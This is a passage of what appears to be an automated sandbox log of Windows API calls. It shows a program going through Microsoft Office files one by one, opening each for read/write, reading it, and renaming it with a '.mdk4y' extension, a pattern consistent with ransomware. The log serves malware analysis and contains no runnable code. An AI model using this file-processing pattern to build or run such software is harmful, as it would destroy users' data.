lpFindFileData=0x6a26b0) returned 1 [0191.752] AreFileApisANSI () returned 1 [0191.752] GetACP () returned 0x4e4 [0191.752] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="OIS_K_COL.HXK", cchWideChar=13, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="OIS_K_COL.HXK", lpUsedDefaultChar=0x37df4c) returned 13 [0191.752] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ois_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0191.752] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826698200000) returned 1 [0191.753] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x71, lpOverlapped=0x0) returned 1 [0191.753] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826698300000) returned 1 [0191.753] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826698300000) returned 1 [0191.754] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ois_k_col.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_K_COL.HXK.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ois_k_col.hxk.mdk4y")) returned 1 [0191.754] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0191.754] AreFileApisANSI () returned 1 [0191.754] GetACP () returned 0x4e4 [0191.754] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="OMSINTL.DLL", cchWideChar=11, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="OMSINTL.DLLXK", lpUsedDefaultChar=0x37df4c) returned 11 [0191.755] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\omsintl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0191.756] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826698600000) returned 1 [0191.756] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x62180, lpOverlapped=0x0) returned 1 [0191.780] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826701000000) returned 1 [0191.780] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826701000000) returned 1 [0191.784] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\omsintl.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\omsintl.dll.mdk4y")) returned 1 [0191.787] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0191.787] AreFileApisANSI () returned 1 [0191.787] GetACP () returned 0x4e4 [0191.787] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="OMSINTL.DLL.IDX_DLL", cchWideChar=19, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="OMSINTL.DLL.IDX_DLL", lpUsedDefaultChar=0x37df4c) returned 19 [0191.787] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\omsintl.dll.idx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0191.789] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826701900000) returned 1 [0191.789] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x6180, lpOverlapped=0x0) returned 1 [0191.791] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826702100000) returned 1 [0191.791] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826702100000) returned 1 [0191.791] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\omsintl.dll.idx_dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL.IDX_DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\omsintl.dll.idx_dll.mdk4y")) returned 1 [0191.792] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0191.809] AreFileApisANSI () returned 1 [0191.809] GetACP () returned 0x4e4 [0191.809] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ONELEV.EXE", cchWideChar=10, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="ONELEV.EXEL.IDX_DLL", lpUsedDefaultChar=0x37df4c) returned 10 [0191.809] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONELEV.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onelev.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0191.810] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826704000000) returned 1 [0191.810] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xdf88, lpOverlapped=0x0) returned 1 [0191.825] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826705500000) returned 1 [0191.826] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826705600000) returned 1 [0191.826] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONELEV.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onelev.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONELEV.EXE.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onelev.exe.mdk4y")) returned 1 [0191.827] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0191.828] AreFileApisANSI () returned 1 [0191.828] GetACP () returned 0x4e4 [0191.828] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ONENOTE.HXS", cchWideChar=11, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="ONENOTE.HXS.IDX_DLL", lpUsedDefaultChar=0x37df4c) returned 11 [0191.828] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onenote.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0191.829] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826705800000) returned 1 [0191.829] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x100000, lpOverlapped=0x0) returned 1 [0191.856] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826708600000) returned 1 [0191.856] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826708600000) returned 1 [0191.884] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onenote.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE.HXS.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onenote.hxs.mdk4y")) returned 1 [0191.885] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0191.885] AreFileApisANSI () returned 1 [0191.885] GetACP () returned 0x4e4 [0191.885] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="OneNoteSyncPCIntl.dll", cchWideChar=21, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="OneNoteSyncPCIntl.dllK", lpUsedDefaultChar=0x37df4c) returned 21 [0191.885] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0191.885] AreFileApisANSI () returned 1 [0191.885] GetACP () returned 0x4e4 [0191.885] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ONENOTE_COL.HXC", cchWideChar=15, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="ONENOTE_COL.HXCtl.dll", lpUsedDefaultChar=0x37df4c) returned 15 [0191.885] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onenote_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0191.886] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826711600000) returned 1 [0191.886] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x277, lpOverlapped=0x0) returned 1 [0191.904] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826713400000) returned 1 [0191.904] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826713400000) returned 1 [0191.904] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onenote_col.hxc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXC.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onenote_col.hxc.mdk4y")) returned 1 [0191.905] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0191.905] AreFileApisANSI () returned 1 [0191.905] GetACP () returned 0x4e4 [0191.905] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ONENOTE_COL.HXT", cchWideChar=15, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="ONENOTE_COL.HXT", lpUsedDefaultChar=0x37df4c) returned 15 [0191.905] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onenote_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0191.906] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826713600000) returned 1 [0191.907] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xcf, lpOverlapped=0x0) returned 1 [0191.907] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826713700000) returned 1 [0191.907] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826713700000) returned 1 [0191.907] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onenote_col.hxt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXT.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onenote_col.hxt.mdk4y")) returned 1 [0191.908] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0191.908] AreFileApisANSI () returned 1 [0191.908] GetACP () returned 0x4e4 [0191.908] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ONENOTE_F_COL.HXK", cchWideChar=17, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="ONENOTE_F_COL.HXK.dll", lpUsedDefaultChar=0x37df4c) returned 17 [0191.908] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onenote_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0191.909] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826713900000) returned 1 [0191.909] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x72, lpOverlapped=0x0) returned 1 [0191.910] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826714000000) returned 1 [0191.910] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826714000000) returned 1 [0191.910] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onenote_f_col.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_F_COL.HXK.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onenote_f_col.hxk.mdk4y")) returned 1 [0191.911] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0191.911] AreFileApisANSI () returned 1 [0191.911] GetACP () returned 0x4e4 [0191.911] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ONENOTE_K_COL.HXK", cchWideChar=17, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="ONENOTE_K_COL.HXK", lpUsedDefaultChar=0x37df4c) returned 17 [0191.911] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onenote_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0191.911] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826714100000) returned 1 [0191.911] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x71, lpOverlapped=0x0) returned 1 [0191.912] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826714200000) returned 1 [0191.912] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826714200000) returned 1 [0191.912] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onenote_k_col.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_K_COL.HXK.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onenote_k_col.hxk.mdk4y")) returned 1 [0191.913] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0191.913] AreFileApisANSI () returned 1 [0191.913] GetACP () returned 0x4e4 [0191.913] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ONGuide.onepkg", cchWideChar=14, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="ONGuide.onepkgHXK", lpUsedDefaultChar=0x37df4c) returned 14 [0191.913] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONGuide.onepkg" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onguide.onepkg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0191.928] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826715800000) returned 1 [0191.928] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x100000, lpOverlapped=0x0) returned 1 [0191.974] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826720400000) returned 1 [0191.974] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826720400000) returned 1 [0191.982] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONGuide.onepkg" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onguide.onepkg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONGuide.onepkg.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onguide.onepkg.mdk4y")) returned 1 [0191.984] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0191.984] AreFileApisANSI () returned 1 [0191.984] GetACP () returned 0x4e4 [0191.984] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ONINTL.DLL", cchWideChar=10, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="ONINTL.DLLepkg", lpUsedDefaultChar=0x37df4c) returned 10 [0191.984] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onintl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0191.985] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826721500000) returned 1 [0191.985] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x100000, lpOverlapped=0x0) returned 1 [0192.025] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826725500000) returned 1 [0192.025] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826725500000) returned 1 [0192.063] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onintl.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onintl.dll.mdk4y")) returned 1 [0192.065] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0192.065] AreFileApisANSI () returned 1 [0192.065] GetACP () returned 0x4e4 [0192.065] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ONINTL.DLL.IDX_DLL", cchWideChar=18, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="ONINTL.DLL.IDX_DLLdll", lpUsedDefaultChar=0x37df4c) returned 18 [0192.065] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onintl.dll.idx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0192.066] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826729600000) returned 1 [0192.066] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x3b80, lpOverlapped=0x0) returned 1 [0192.106] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826733600000) returned 1 [0192.106] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826733600000) returned 1 [0192.106] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onintl.dll.idx_dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL.IDX_DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onintl.dll.idx_dll.mdk4y")) returned 1 [0192.108] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0192.108] AreFileApisANSI () returned 1 [0192.108] GetACP () returned 0x4e4 [0192.108] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ONINTL.REST.IDX_DLL", cchWideChar=19, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="ONINTL.REST.IDX_DLLll", lpUsedDefaultChar=0x37df4c) returned 19 [0192.108] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onintl.rest.idx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0192.109] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826733900000) returned 1 [0192.109] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1bf80, lpOverlapped=0x0) returned 1 [0192.128] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826735800000) returned 1 [0192.128] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826735800000) returned 1 [0192.129] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onintl.rest.idx_dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.REST.IDX_DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onintl.rest.idx_dll.mdk4y")) returned 1 [0192.130] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0192.130] AreFileApisANSI () returned 1 [0192.130] GetACP () returned 0x4e4 [0192.130] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ORGCH.VRD", cchWideChar=9, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="ORGCH.VRDST.IDX_DLL", lpUsedDefaultChar=0x37df4c) returned 9 [0192.130] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCH.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\orgch.vrd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0192.132] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826736200000) returned 1 [0192.132] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x648, lpOverlapped=0x0) returned 1 [0192.171] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826740100000) returned 1 [0192.171] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826740100000) returned 1 [0192.172] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCH.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\orgch.vrd"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCH.VRD.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\orgch.vrd.mdk4y")) returned 1 [0192.173] FindNextFileW (in: hFindFile=0x6ab310, 